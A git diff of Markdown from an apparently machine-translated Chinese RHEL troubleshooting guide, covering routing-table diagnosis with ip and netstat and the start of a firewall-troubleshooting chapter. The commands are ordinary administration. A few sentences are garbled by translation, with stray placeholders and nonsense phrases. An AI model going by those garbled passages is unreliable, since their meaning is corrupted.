10.0.2.2 0.0.0.0 UG 0 0 0 enp0s3 - -``` - -可以看到,`netstat`命令的输出有多个列,准确地说是 8 个。 第一列是`Destination`列。 这用于定义路由范围内的目的地址。 在前面的示例中,目的地是`0.0.0.0`,它本质上是一个通配符值,意味着任何东西都应该通过这个表项路由。 - -第二列是`Gateway`。 网关地址是使用这条路由的网络数据包应该发送到的下一跳。 本例中设置下一跳或网关地址为`10.0.2.2`; 这意味着通过这个表项路由的任何包都将被发送到`10.0.2.2`,然后`10.0.2.2`将这些包路由到下一个系统,直到它们到达目的地。 - -第三列是`Genmask`,本质上是表示路线的“`generality`”。 这个专栏的另一种思考方式是`netmask`; 在前面的示例中,“`genmask`”被设置为`0.0.0.0`,这是一个开放范围。 这意味着到任何地方的数据包都应该从这个路由表项路由出去。 - -第四列是`Flag`列,用于提供该路由的具体信息。 本例中的`U`值表示该路由所使用的接口状态为 up。 `G`值表示该路由使用了网关地址。 在前面的例子中,我们可以看到我们的路由利用了一个网关地址; 然而,并不是这个系统的所有路由都是这样。 - -第五、第六和第七列在 Linux 服务器上并不常用。 `MSS`列用于显示为该路由指定的**最大段大小**。 值为 0 意味着该值被设置为默认值,并且不会更改。 - -`Window`列是 TCP 窗口大小,它表示在一次突发中将接受的最大数据量。 同样,当该值设置为 0 时,将使用默认大小。 - -第七列是`irtt`,用于指定该路线的**初始往返时间**。 内核将通过设置初始往返时间来重新发送从未响应的数据包; 您可以增加或减少内核认为包丢失的时间。 与前两列的情况一样,0 的值意味着将对使用这条路由的包使用默认值。 - -第八列,也就是最后一列,即`IFace`列,是使用这条路由的数据包应该使用的网络接口。 本例中为`enp0s3`接口。 - -#### 默认路由 - -我们例子中的第一条路径实际上是我们系统的一条非常特殊的路径。 - -```sh -Destination Gateway Genmask Flags MSS Window irtt Iface -0.0.0.0 10.0.2.2 0.0.0.0 UG 0 0 0 enp0s3 - -``` - -如果我们查看这个路由的细节和每个列的定义,我们可以确定这个路由是服务器的默认路由。 缺省路由是一种特殊的路由,当没有其他路由取代它时,它被“默认地”使用。 简单地说,如果我们有数据包要发送到一个地址,比如`172.0.0.10`,这些数据包将通过默认路由。 - -这是因为在我们的数据库服务器的路由表中没有其他路由指定 IP`172.0.0.10`。 因此,系统只是通过缺省路由(一个全局路由)将数据包发送到这个 IP 地址。 - -我们可以确定第一个路由是服务器的默认路由,因为目的地址是`0.0.0.0`,这实际上意味着任何东西。 第二个指示是`0.0.0.0`中的`Genmask`,与目的地址一起表示任意 IPv4 地址。 - -使用网关地址也是缺省路由的典型情况,因此网关设置了`destination`和`genmask`通配符这一事实清楚地表明上述路由是缺省路由。 - -非默认路由通常如下所示: - -```sh -10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 enp0s3 - -``` - -上述路径的目的地为 10.0.2.0,而`genmask`为 255.255.255.0; 这实际上是说 10.0.2.0/24 网络中的任何东西都将匹配这个路由。 - -由于这条路由的范围是`10.0.2.0/24`,很可能是通过`enp0s3`接口配置添加的。 我们可以根据`enp0s3`接口配置来确定这一点,因为它连接到`10.0.2.0/24`网络,而`10.0.2.0/24`网络是这条路由的目标。 默认情况下,Linux 将根据网络接口的配置自动添加路由。 - -```sh -10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 enp0s3 - -``` - -这条路由是内核确保`10.0.2.0/24`网络通信从`enp0s3`接口出去的一种方式,因为这条路由将取代默认路由。 对于网络路由,将总是使用最具体的路由。 由于默认路由是一个通配符,并且该路由是特定于`10.0.2.0/24`网络的,因此该路由将用于网络中的任何内容。 - -### 利用 IP 显示路由表 - -另一个用于检查路由表的工具是`ip`命令。 `ip`命令,正如我们在本章中所看到的,是一个非常广泛的实用程序,可以在现代 Linux 系统中用于几乎所有与网络相关的事情。 - -`ip`命令的一个用途是添加、删除或显示网络路由配置。 要显示当前的路由表,只需执行带`route show`选项的`ip`命令。 - -```sh -[db]# ip route show -default via 10.0.2.2 dev enp0s3 proto static metric 1024 -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.16 -169.254.0.0/16 dev enp0s8 scope link metric 1003 -192.168.33.0/24 dev enp0s8 proto kernel scope link src 192.168.33.12 -192.168.33.11 via 10.0.2.1 dev enp0s3 proto static metric 1 - -``` - -虽然学习使用`netstat`命令对于非 Linux 操作系统很重要,但是`ip`命令对于任何 Linux 网络故障诊断或配置都是一个必要的工具。 - -由于我们使用`ip`命令对路由进行故障排除,我们甚至会发现它比`netstat`命令更容易。 一个例子是寻找默认路由。 当`ip`命令显示缺省路由时,它使用单词 default 作为目的地,而不是 0.0.0.0,这种方法更容易理解,特别是对于新系统管理员。 - -它也更容易阅读其他路线。 例如,在前面查看通过`netstat`的路由时,我们的示例路由如下所示: - -```sh -10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 enp0s3 - -``` - -使用`ip`命令,相同的路由显示格式如下: - -```sh -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.16 - -``` - -在我看来,`ip`路由显示的格式比`netstat -rn`命令的格式简单得多。 - -### 寻找路由错误配置 - -现在我们知道了如何查看服务器上的路由表,我们可以使用`ip`命令来查找可能导致数据库连接问题的任何路由。 - -```sh -[db]# ip route show -default via 10.0.2.2 dev enp0s3 proto static metric 1024 -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.16 -169.254.0.0/16 dev enp0s8 scope link metric 1003 -192.168.33.0/24 dev enp0s8 proto kernel scope link src 192.168.33.12 -192.168.33.11 via 10.0.2.1 dev enp0s3 proto static metric 1 - -``` - -这里,我们可以看到系统中定义的 5 条路径。 让我们分解这些路径,以便更好地理解它们。 - -```sh -default via 10.0.2.2 dev enp0s3 proto static metric 1024 -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.16 - -``` - -前两条路线我们已经讨论过了,不再回顾。 - -```sh -169.254.0.0/16 dev enp0s8 scope link metric 1003 - -``` - -第三条路由定义从`169.254.0.0/16`(`169.254.0.0`到`169.254.255.255`)的所有流量都通过`enp0s8`设备发送。 这是一个非常宽泛的路由,但很可能不会影响到 IP`192.168.33.11`的路由。 - -```sh -192.168.33.0/24 dev enp0s8 proto kernel scope link src 192.168.33.12 -192.168.33.11 via 10.0.2.1 dev enp0s3 proto static metric 1 - -``` - -然而,第四个和第五个路由将改变到 192.168.33.11 的网络数据包的路由方式。 - -```sh -192.168.33.0/24 dev enp0s8 proto kernel scope link src 192.168.33.12 - -``` - -第四个路由定义到`192.168.33.0/24`(`192.168.33.0`到`192.168.33.255`)网络的所有流量都从`enp0s8`接口路由,并来自`192.168.33.12`。 `enp0s8`接口的配置也会自动添加这条路由; 这与之前`enp0s3`添加的路线相似。 - -由于`enp0s8`设备被定义为`192.168.33.0/24`网络的一部分,因此只有将该网络的流量路由出该接口才有意义。 - -```sh -192.168.33.11 via 10.0.2.1 dev enp0s3 proto static metric 1 - -``` - -然而,第 5 条路由定义到特定 IP`192.168.33.11`(博客服务器的 IP)的所有流量都通过`enp0s3`设备发送到`10.0.2.1`网关。 这很有趣,因为第 5 条路由和第 4 条路由的配置非常冲突,因为它们都定义了如何处理`192.168.33.0/24`网络中的 ip。 - -#### 更具体的路线获胜 - -正如前面提到的,路由网络数据包的黄金规则*是,更具体的路由总是获胜。 如果我们看一下路由配置,我们有一条路由,它说`192.168.33.0/24`子网中的所有流量都应该输出`enp0s8`设备。 还有第二条路线,明确地说`192.168.33.11`应该通过`enp0s3`设备。 IP`192.168.33.11`同时适用于这两种规则,但是系统应该通过哪条路由发送数据包?* - - *答案总是更具体的路线。 - -由于第二条路由明确定义了所有到`192.168.33.11`的流量都从`enp0s3`接口出去,内核将通过`enp0s3`接口路由所有返回的数据包。 无论为`192.168.33.0/24`定义的路由是什么,甚至是缺省路由都是如此。 - -我们可以通过使用`ip`命令和`route get`选项来查看所有这些操作。 - -```sh -[db]# ip route get 192.168.33.11 -192.168.33.11 via 10.0.2.1 dev enp0s3 src 10.0.2.16 - cache - -``` - -带有`route get`选项的`ip`命令将接受所提供的 IP,并输出数据包将接受的路由。 - -当我们对`192.168.33.11`使用这个命令时,我们可以看到`ip`明确表示路由将通过`enp0s3`设备。 如果我们对其他 ip 使用相同的命令,我们可以看到缺省路由和`192.168.33.0/24`路由是如何使用的。 - -```sh -[db]# ip route get 192.168.33.15 -192.168.33.15 dev enp0s8 src 192.168.33.12 - cache -[db]# ip route get 4.4.4.4 -4.4.4.4 via 10.0.2.2 dev enp0s3 src 10.0.2.16 - cache -[db]# ip route get 192.168.33.200 -192.168.33.200 dev enp0s8 src 192.168.33.12 - cache -[db]# ip route get 169.254.3.5 -169.254.3.5 dev enp0s8 src 192.168.33.12 - cache - -``` - -我们可以在这里看到,当一个 IP 地址在一个子网内,并且定义了一个特定的路由时,这个特定的路由就会被获取。 但是,当一个 IP 没有被特定的路由定义时,将使用缺省路由。 - -# 假设 - -既然我们了解了包到`192.168.33.11`的路由方式,那么我们应该调整之前的假设,以反映出`192.168.33.11`到`enp0s3`的路由是不正确的,并导致了我们的问题。 - -本质上,发生的情况(我们通过`tcpdump`看到)是,当数据库服务器(`192.168.33.12`)从博客服务器(`192.168.33.11`)接收到网络数据包时,它到达`enp0s8`设备。 但是,当数据库服务器向 web 应用服务器发送应答报文(`SYN-ACK`)时,应答报文是通过`enp0s3`接口发送的。 - -由于`enp0s3`设备连接到`10.0.2.0/24`网络,因此数据包似乎正在被`10.0.2.0/24`网络上的另一个系统或设备拒绝(`RESET`)。 这很可能是因为这是异步路由的一个主要示例。 - -异步路由是指包到达一个接口,但在另一个接口上得到响应。 在大多数网络配置中,默认情况下是拒绝的,但在某些情况下,可以启用; 然而,这些情况并不十分普遍。 - -在我们的示例中,由于`enp0s8`接口是`192.168.33.0/24`子网的一部分,因此启用异步路由没有意义。 我们发送到`192.168.33.11`的数据包应该简单地通过`enp0s8`接口路由。 - -# 试错 - -现在,我们已经确定了数据收集的问题,并建立了我们的假设的可能原因,我们可以开始下一个故障排除步骤:使用尝试和错误来纠正问题。 - -## 移除无效路由 - -为了纠正我们的问题,我们需要删除无效的路由`192.168.33.11`。 为此,我们将再次使用`ip`命令,这一次使用`route del`选项。 - -```sh -[db]# ip route del 192.168.33.11 -[db]# ip route show -default via 10.0.2.2 dev enp0s3 proto static metric 1024 -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.16 -169.254.0.0/16 dev enp0s8 scope link metric 1003 -192.168.33.0/24 dev enp0s8 proto kernel scope link src 192.168.33.12 - -``` - -在前面的示例中,我们使用带有`route del`选项的`ip`命令来删除以单个 IP 为目标的路由。 我们可以使用相同的命令和选项来删除为子网定义的路由。 下面的例子将删除`169.254.0.0/16`网络的路由: - -```sh -[db]# ip route del 169.254.0.0/16 -[db]# ip route show -default via 10.0.2.2 dev enp0s3 proto static metric 1024 -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.16 -192.168.33.0/24 dev enp0s8 proto kernel scope link src 192.168.33.12 - -``` - -从`ip`route show 执行中,我们可以看到`192.168.33.11`不再有冲突的 route。 问题是:这解决了我们的问题吗? 唯一确定的方法是测试它,而要做到这一点,我们只需刷新加载了博客错误页面的浏览器。 - -![Removing the invalid route](img/00005.jpeg) - -看来我们成功地纠正了这个问题。 如果现在执行`tcpdump`,就可以验证博客和数据库服务器是否能够通信。 - -```sh -[db]# tcpdump -nnvvv -i enp0s8 port 3306 -tcpdump: listening on enp0s8, link-type EN10MB (Ethernet), capture size 65535 bytes -16:14:05.958507 IP (tos 0x0, ttl 64, id 7605, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.11.47350 > 192.168.33.12.3306: Flags [S], cksum 0xa9a7 (correct), seq 4211276877, win 14600, options [mss 1460,sackOK,TS val 46129656 ecr 0,nop,wscale 6], length 0 -16:14:05.958603 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60) - 192.168.33.12.3306 > 192.168.33.11.47350: Flags [S.], cksum 0xc396 (incorrect -> 0x786b), seq 2378639726, ack 4211276878, win 14480, options [mss 1460,sackOK,TS val 46102446 ecr 46129656,nop,wscale 6], length 0 -16:14:05.959103 IP (tos 0x0, ttl 64, id 7606, offset 0, flags [DF], proto TCP (6), length 52) - 192.168.33.11.47350 > 192.168.33.12.3306: Flags [.], cksum 0xdee0 (correct), seq 1, ack 1, win 229, options [nop,nop,TS val 46129657 ecr 46102446], length 0 -16:14:05.959336 IP (tos 0x8, ttl 64, id 24256, offset 0, flags [DF], proto TCP (6), length 138) - 192.168.33.12.3306 > 192.168.33.11.47350: Flags [P.], cksum 0xc3e4 (incorrect -> 0x99c9), seq 1:87, ack 1, win 227, options [nop,nop,TS val 46102447 ecr 46129657], length 86 -16:14:05.959663 IP (tos 0x0, ttl 64, id 7607, offset 0, flags [DF], proto TCP (6), length 52) - -``` - -前面的输出是我们期望从一个健康的连接中看到的。 - -在这里,我们看到四个包,第一个是一个`SYN`(`Flags [S],`)`blog.example.com`(`192.168.33.11`),紧随其后的是一个`SYN-ACK`(`Flags [S.],`)`db.example.com`(`192.168.33.12`)和一个【显示】或`SYN-ACK-ACK`(`Flags [.],`)`blog.example.com`(【病人】)。 这三个数据包就是完成的 TCP 三次握手。 第四个包是`PUSH`(`Flags [P.],`)包,它是实际的数据传输。 所有这些都是良好工作的网络连接的标志。 - -## 配置文件 - -现在我们已经从路由表中删除了无效的路由,我们可以看到博客正在工作; 这意味着我们结束了,对吧? 不,至少还没有。 - -当我们使用`ip`命令删除路由时,我们从活动路由表中删除了这条路由,但并没有从系统中整体删除这条路由。 如果我们重新启动网络,或者简单地重新启动服务器,这个无效的路由将重新出现。 - -```sh -[db]# service network restart -Restarting network (via systemctl): [ OK ] -[db]# ip route show -default via 10.0.2.2 dev enp0s3 proto static metric 1024 -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.16 -169.254.0.0/16 dev enp0s8 scope link metric 1003 -192.168.33.0/24 dev enp0s8 proto kernel scope link src 192.168.33.12 -192.168.33.11 via 10.0.2.1 dev enp0s3 proto static metric 1 - -``` - -这是因为,当系统引导时,它会根据一组文件中的配置来配置网络。 `ip`命令用于操作当前的网络配置,而不是这些网络配置文件。 因此,使用`ip`命令所做的任何更改都不是永久性的,而只是临时的,直到下一次系统读取并应用网络配置。 - -为了从网络配置中完全删除这条路由,我们需要修改网络配置文件。 - -```sh -[db]# cd /etc/sysconfig/network-scripts/ - -``` - -在基于 Red Hat Enterprise linux 的系统中,网络配置文件大多存储在`/etc/sysconfig/network-scripts`文件夹中。 首先,我们可以切换到这个文件夹并执行 ls -la 来识别当前的网络配置文件。 - -```sh -[db]# ls -la -total 228 -drwxr-xr-x. 2 root root 4096 Mar 14 14:37 . -drwxr-xr-x. 6 root root 4096 Mar 14 23:42 .. --rw-r--r--. 1 root root 195 Jul 22 2014 ifcfg-enp0s3 --rw-r--r--. 1 root root 217 Mar 14 14:37 ifcfg-enp0s8 --rw-r--r--. 1 root root 254 Apr 2 2014 ifcfg-lo -lrwxrwxrwx. 1 root root 24 Jul 22 2014 ifdown -> ../../../usr/sbin/ifdown --rwxr-xr-x. 1 root root 627 Apr 2 2014 ifdown-bnep --rwxr-xr-x. 1 root root 5553 Apr 2 2014 ifdown-eth --rwxr-xr-x. 1 root root 781 Apr 2 2014 ifdown-ippp --rwxr-xr-x. 1 root root 4141 Apr 2 2014 ifdown-ipv6 -lrwxrwxrwx. 1 root root 11 Jul 22 2014 ifdown-isdn -> ifdown-ippp --rwxr-xr-x. 1 root root 1642 Apr 2 2014 ifdown-post --rwxr-xr-x. 1 root root 1068 Apr 2 2014 ifdown-ppp --rwxr-xr-x. 1 root root 837 Apr 2 2014 ifdown-routes --rwxr-xr-x. 1 root root 1444 Apr 2 2014 ifdown-sit --rwxr-xr-x. 1 root root 1468 Jun 9 2014 ifdown-Team --rwxr-xr-x. 1 root root 1532 Jun 9 2014 ifdown-TeamPort --rwxr-xr-x. 1 root root 1462 Apr 2 2014 ifdown-tunnel -lrwxrwxrwx. 1 root root 22 Jul 22 2014 ifup -> ../../../usr/sbin/ifup --rwxr-xr-x. 1 root root 12449 Apr 2 2014 ifup-aliases --rwxr-xr-x. 1 root root 859 Apr 2 2014 ifup-bnep --rwxr-xr-x. 1 root root 10223 Apr 2 2014 ifup-eth --rwxr-xr-x. 1 root root 12039 Apr 2 2014 ifup-ippp --rwxr-xr-x. 1 root root 10430 Apr 2 2014 ifup-ipv6 -lrwxrwxrwx. 1 root root 9 Jul 22 2014 ifup-isdn -> ifup-ippp --rwxr-xr-x. 1 root root 642 Apr 2 2014 ifup-plip --rwxr-xr-x. 1 root root 1043 Apr 2 2014 ifup-plusb --rwxr-xr-x. 1 root root 2609 Apr 2 2014 ifup-post --rwxr-xr-x. 1 root root 4154 Apr 2 2014 ifup-ppp --rwxr-xr-x. 1 root root 1925 Apr 2 2014 ifup-routes --rwxr-xr-x. 1 root root 3263 Apr 2 2014 ifup-sit --rwxr-xr-x. 1 root root 1628 Oct 31 2013 ifup-Team --rwxr-xr-x. 1 root root 1856 Jun 9 2014 ifup-TeamPort --rwxr-xr-x. 1 root root 2607 Apr 2 2014 ifup-tunnel --rwxr-xr-x. 1 root root 1621 Apr 2 2014 ifup-wireless --rwxr-xr-x. 1 root root 4623 Apr 2 2014 init.ipv6-global --rw-r--r--. 1 root root 14238 Apr 2 2014 network-functions --rw-r--r--. 1 root root 26134 Apr 2 2014 network-functions-ipv6 --rw-r--r--. 1 root root 30 Mar 13 02:20 route-enp0s3 - -``` - -从目录列表中,我们可以看到几个配置文件。 但是,通常我们只对以“`ifcfg-`”和以“`route-`”开头的文件感兴趣。 - -以“`ifcfg-`”开头的文件用于定义网络接口; 这些文件的命名约定为“`ifcfg-`”; 例如,要查看`enp0s8's`配置,可以读取`ifcfg-enp0s8`文件。 - -```sh -[db]# cat ifcfg-enp0s8 -NM_CONTROLLED=no -BOOTPROTO=none -ONBOOT=yes -IPADDR=192.168.33.12 -NETMASK=255.255.255.0 -DEVICE=enp0s8 -PEERDNS=no - -``` - -我们可以看到这个配置文件定义了这个接口使用的 IP 地址和`Netmask`。 - -“`route-`”文件用于定义系统的路由配置。 该文件的约定类似于接口文件“`route-`”,在文件夹列表中,只有一个路由文件`route-enp0s3`。 这是最可能定义错误路由的位置。 - -```sh -[db]# cat route-enp0s3 -192.168.33.11/32 via 10.0.2.1 - -``` - -一般来说,除非定义了静态路由(静态定义的路由),否则“`route-*`”文件是不存在的。 我们可以看到这个文件中只定义了一条路由,这意味着路由表中定义的所有其他路由都是根据接口配置动态配置的。 - -在上例中,`route-enp0s3`文件中定义的路由没有指定接口。 因此,接口将基于文件名定义; 如果相同的条目在 route-`enp0s8`文件中,网络服务将尝试在`enp0s8`接口上定义路由。 - -为了确保这条路由不再出现在路由表中,我们需要将它从这个文件中删除; 或者,在这种情况下,由于它是唯一的路由,我们应该删除整个文件。 - -```sh -[db]# rm route-enp0s3 -rm: remove regular file 'route-enp0s3'? y - -``` - -删除文件和路由的决定取决于所支持的环境; 如果你不确定这是不是正确的做法,你应该事先问一个能告诉你是否正确的人。 对于本例,我们假设可以删除这个网络配置文件。 - -重新启动网络服务后,我们应该看到路由消失了。 - -```sh -[db]# service network restart -Restarting network (via systemctl): [ OK ] -[db]# ip route show -default via 10.0.2.2 dev enp0s3 proto static metric 1024 -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.16 -169.254.0.0/16 dev enp0s8 scope link metric 1003 -192.168.33.0/24 dev enp0s8 proto kernel scope link src 192.168.33.12 - -``` - -现在,路由已经消失,网络配置已经重新加载,我们可以安全地说,我们已经纠正了这个问题。 我们可以通过再次加载网页来验证这一点,以确保博客正常工作。 - -![Configuration files](img/00006.jpeg) - -# 总结 - -如果我们回顾这一章,我们学习了很多关于 Linux 上如何排除网络连接问题的知识。 我们学习了如何使用`netstat`和`tcpdump`工具来查看传入和传出的连接。 我们了解了 TCP 三次握手以及`/etc/hosts`文件如何取代 DNS 设置。 - -在这一章中,我们介绍了许多命令,虽然我们对每个命令及其功能都给出了相当好的概述,但有些命令我们仅仅触及了表面。 - -像`tcpdump`这样的命令就是最好的例子。 在本章中,我们使用了`tcpdump`很多次,但是这个工具的功能远远超过了我们使用它的功能。 在本书中涉及的所有命令中,我个人认为`tcpdump`是一个需要花时间学习的命令,因为它是一个非常有用和强大的工具。 我用它解决过很多问题,有时这些问题不是特定于网络而是特定于应用。 - -在下一章中,我们将通过故障排除防火墙保持这种网络势头。 我们可能会在下一章中看到我们在本章中使用过的一些相同的命令,但这没关系; 它只是说明了理解网络和排除网络故障的工具是多么重要。*** \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/06.md b/docs/rhel-troubleshoot-guide/06.md deleted file mode 100644 index 0b1a221a..00000000 --- a/docs/rhel-troubleshoot-guide/06.md +++ /dev/null @@ -1,903 +0,0 @@ -# 六、诊断和纠正防火墙问题 - -在前一章中,我们了解了如何使用`telnet`、`ping`、`curl`、`netstat`、`tcpdump`和`ip`等命令解决与网络相关的问题。 您还了解了**TCP 协议**的工作原理,以及如何使用**DNS**将域转换为 ip。 - -在本章中,我们将再次解决与网络相关的问题; 然而,这次我们将发现 Linux 的软件防火墙`iptables`是如何工作的,以及如何解决防火墙产生的网络问题。 - -# 防火墙诊断 - -[第 5 章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting"),*网络故障排除*,是全部是关于网络以及如何排除错误配置的网络故障。 在本章中,我们将把讨论扩展到防火墙。 在排除防火墙故障时,我们可能会使用一些与[第 5 章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting")、*网络故障排除*相同的命令,并重复许多相同的过程。 这是因为当您使用防火墙来保护系统时,您正在阻塞某些类型的网络流量,防火墙的错误配置可能会影响系统的任何网络流量。 - -我们将以与其他章节相同的方式开始本章,对报告的问题进行故障排除。 - -# 已见 - -在[第 5 章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting")、*网络故障排除*中,我们的故障排除是在一个开发人员打电话来报告公司的博客报告了一个数据库连接错误后开始的。 在进行了故障排除之后,我们发现这个错误是由于数据库服务器上配置错误的静态路由造成的。 然而,今天(几天后),我们又接到同一个开发人员打来的电话,报告了同样的问题。 - -当开发人员转到`http://blog.example.com`时,他会收到一个错误,说明存在数据库连接问题。 又来了! - -由于收集数据的第一步是复制问题,我们应该做的第一件事是在自己的浏览器上打开公司博客。 - -![Déjà vu](img/00007.jpeg) - -事实上,似乎同样的错误又出现了; 现在来找出原因。 - -# 历史问题处理 - -的第一反应**数据收集器将简单地运行在相同的故障排除步骤从[第五章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting"),*网络故障诊断*。 【显示】**适配器**和【病人】教育 gus 来,然而,几天前知道这个问题是由于静态路由只会首先登录到数据库服务器,检查相同的静态路由。** - - **也许有人只是错误地重新添加了它,或者路由没有从系统的配置文件中完全删除: - -```sh -[db]# ip route show -default via 10.0.2.2 dev enp0s3 proto static metric 1024 -10.0.2.0/24 dev enp0s3 proto kernel scope link src 10.0.2.15 -169.254.0.0/16 dev enp0s8 scope link metric 1003 -192.168.33.0/24 dev enp0s8 proto kernel scope link src 192.168.33.12 - -``` - -然而,不幸的是,我们的运气并没有那么好; 从`ip`命令的结果中,我们可以看到[第五章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting"),*网络故障处理*的静态路由没有出现。 - -由于路由不存在,我们需要在第一步重新开始,检查博客服务器是否能够连接到数据库服务器。 - -# 基本故障处理 - -我们应该执行的第一个测试是从博客服务器到数据库服务器的一个简单的 ping。 这将快速回答两个服务器是否能够通信: - -```sh -[blog]$ ping db.example.com -PING db.example.com (192.168.33.12) 56(84) bytes of data. -64 bytes from db.example.com (192.168.33.12): icmp_seq=1 ttl=64 time=0.420 ms -64 bytes from db.example.com (192.168.33.12): icmp_seq=2 ttl=64 time=0.564 ms -64 bytes from db.example.com (192.168.33.12): icmp_seq=3 ttl=64 time=0.562 ms -64 bytes from db.example.com (192.168.33.12): icmp_seq=4 ttl=64 time=0.479 ms -^C ---- db.example.com ping statistics --- -4 packets transmitted, 4 received, 0% packet loss, time 3006ms -rtt min/avg/max/mdev = 0.420/0.506/0.564/0.062 ms - -``` - -从`ping`命令的结果我们可以看到,博客服务器与数据库服务器进行通信,或者更确切地说,博客服务器发送一个**ICMP 回应请求**和接收一个**ICMP 回应应答**从数据库服务器。 我们可以测试的下一个连接是到端口`3306`的连接,也就是 MySQL 端口。 - -我们将使用`telnet`命令测试此连通性: - -```sh -[blog]$ telnet db.example.com 3306 -Trying 192.168.33.12... -telnet: connect to address 192.168.33.12: No route to host - -``` - -然而,`telnet`失败了。 这表明博客服务器连接到数据库服务器上的数据库服务实际上存在问题。 - -## 验证 MariaDB 服务 - -现在我们已经确定博客服务器无法与数据库服务器通信,我们需要确定原因。 在假定问题是严格与网络相关的之前,我们首先应该验证数据库服务是否启动并运行。 为此,我们将简单地登录到数据库服务器并检查正在运行的数据库进程。 - -我们可以使用多种方法来验证数据库进程是否正在运行。 在下面的例子中,我们将再次使用`ps`命令: - -```sh -[db]$ ps -elf | grep maria -0 S mysql 1529 1123 0 80 0 - 226863 poll_s 12:21 ? 00:00:04 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --log-error=/var/log/mariadb/mariadb.log --pid-file=/var/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock - -``` - -通过`ps`命令,我们可以看到正在运行的**MariaDB**进程。 在前面的示例中,我们使用`ps -elf`命令显示所有进程,使用`grep`命令过滤输出以查找 MariaDB 服务。 - -从结果来看,似乎数据库服务实际上正在运行; 但这并不能肯定地告诉我们这个进程正在端口`3306`上接受连接。 为了验证这一点,我们可以使用`netstat`命令来识别在该服务器上监听的端口: - -```sh -[db]$ netstat -na | grep LISTEN -tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:46788 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -tcp6 0 0 ::1:25 :::* LISTEN -tcp6 0 0 :::111 :::* LISTEN -tcp6 0 0 :::22 :::* LISTEN -tcp6 0 0 :::49464 :::* LISTEN - -``` - -从`netstat`命令中,我们可以看到这个系统上有很多端口是开放的,而`3306`就是其中之一。 - -因为我们知道博客服务器无法建立到端口`3306`的连接,所以我们可以从多个地方再次测试连接。 第一个位置是数据库服务器本身,第二个位置是我们的笔记本电脑,就像我们在[第五章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting"),*网络故障排除*中所做的那样。 - -由于数据库服务器没有安装`telnet`客户端,我们可以使用`curl`命令来执行这个测试: - -```sh -[blog]$ curl -v telnet://localhost:3306 -* About to connect() to localhost port 3306 (#0) -* Trying 127.0.0.1... -* Connected to localhost (127.0.0.1) port 3306 (#0) -R -* RCVD IAC EC - -``` - -### 提示 - -在这本书中我要反复强调的一点是,知道不止一种执行任务的方法是很重要的。 `telnet`是一个非常简单的例子,但是这个概念适用于您作为系统管理员执行的每个任务。 - -由于我们已经建立了数据库服务器可以从本地服务器访问,现在我们可以在笔记本电脑上测试: - -```sh -[laptop]$ telnet 192.168.33.12 3306 -Trying 192.168.33.12... -telnet: connect to address 192.168.33.12: Connection refused -telnet: Unable to connect to remote host - -``` - -从我们的笔记本电脑看来,到数据库服务的连接是不可用的,但是如果我们测试另一个端口,比如`22`,会发生什么情况呢? - -```sh -[laptop]$ telnet 192.168.33.12 22 -Trying 192.168.33.12... -Connected to 192.168.33.12. -Escape character is '^]'. -SSH-2.0-OpenSSH_6.4 -^] -telnet> - -``` - -这是一个有趣的结果; 从笔记本电脑上,我们能够连接到端口`22`,但不能连接端口`3306`。 既然端口`22`在膝上电脑上是可用的,那么从博客服务器上呢? - -```sh -[blog]$ telnet db.example.com 22 -Trying 192.168.33.12... -Connected to db.example.com. -Escape character is '^]'. -SSH-2.0-OpenSSH_6.4 -^] - -``` - -这些结果非常有趣。 在前一章中,当连接问题是由于配置错误的静态路由造成的时,博客服务器和数据库服务器之间的所有通信都中断了。 - -然而,在此问题的情况下,博客服务器无法连接到端口`3306`,但它可以与端口`22`上的数据库服务器进行通信。 使这个问题更有趣的是,在本地,在数据库服务器上,端口`3306`可用并接受连接。 - -这些关键信息是表明我们的问题实际上可能是由于防火墙造成的第一个迹象。 对于数据收集器来说,这可能有点早,但是适配器或有经验的猜测者故障诊断人员可能已经在这一点上形成了这个问题是由于防火墙引起的假设。 - -## tcpdump 故障处理 - -在[第五章](05.html#UGI01-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 5. Network Troubleshooting")、*网络故障处理*中,我们广泛使用`tcpdump`来识别问题; 我们能否判断这个问题是否是与`tcpdump`的防火墙问题? 也许,我们当然可以用`tcpdump`来更好地看待这个问题。 - -首先,我们将从博客服务器获取到端口`22`的连接(我们知道该连接正在工作)。 `tcpdump`将在数据库服务器上对`22`端口进行过滤; 我们还将使用带有`any`选项的`-i`(接口)标志,以使`tcpdump`捕获所有网络接口上的流量: - -```sh -[db]# tcpdump -nnnvvv -i any port 22 -tcpdump: listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes - -``` - -一旦`tcpdump`运行,我们可以从博客服务器启动到端口`22`的连接,以查看完整的健康连接是什么样子的: - -```sh -03:03:15.670771 IP (tos 0x10, ttl 64, id 17278, offset 0, flags 